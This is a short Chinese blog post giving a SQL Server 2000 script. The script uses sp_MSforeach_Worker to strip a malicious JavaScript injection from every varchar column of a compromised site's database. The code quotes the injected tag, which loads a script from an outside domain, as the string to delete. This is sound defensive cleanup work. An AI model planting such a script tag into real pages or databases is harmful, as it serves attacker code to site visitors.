sp_MSforeach_Worker 批量清除数据库中被植入的js

最近发现好多兄弟网站都被qj了, 数据库中被植入js,贴个批量清除的方法[*仅限SQL2000];sp_MSforeach_Worker 的用法及结构详见http://blog.csdn.net/abandonship/archive/2008/06/06/2515884.aspx

DECLARE @fieldtype sysname
SET @fieldtype='varchar'

--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script src=http://www.nihao112.com/m.js></script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'

阅读更多

没有更多推荐了,返回首页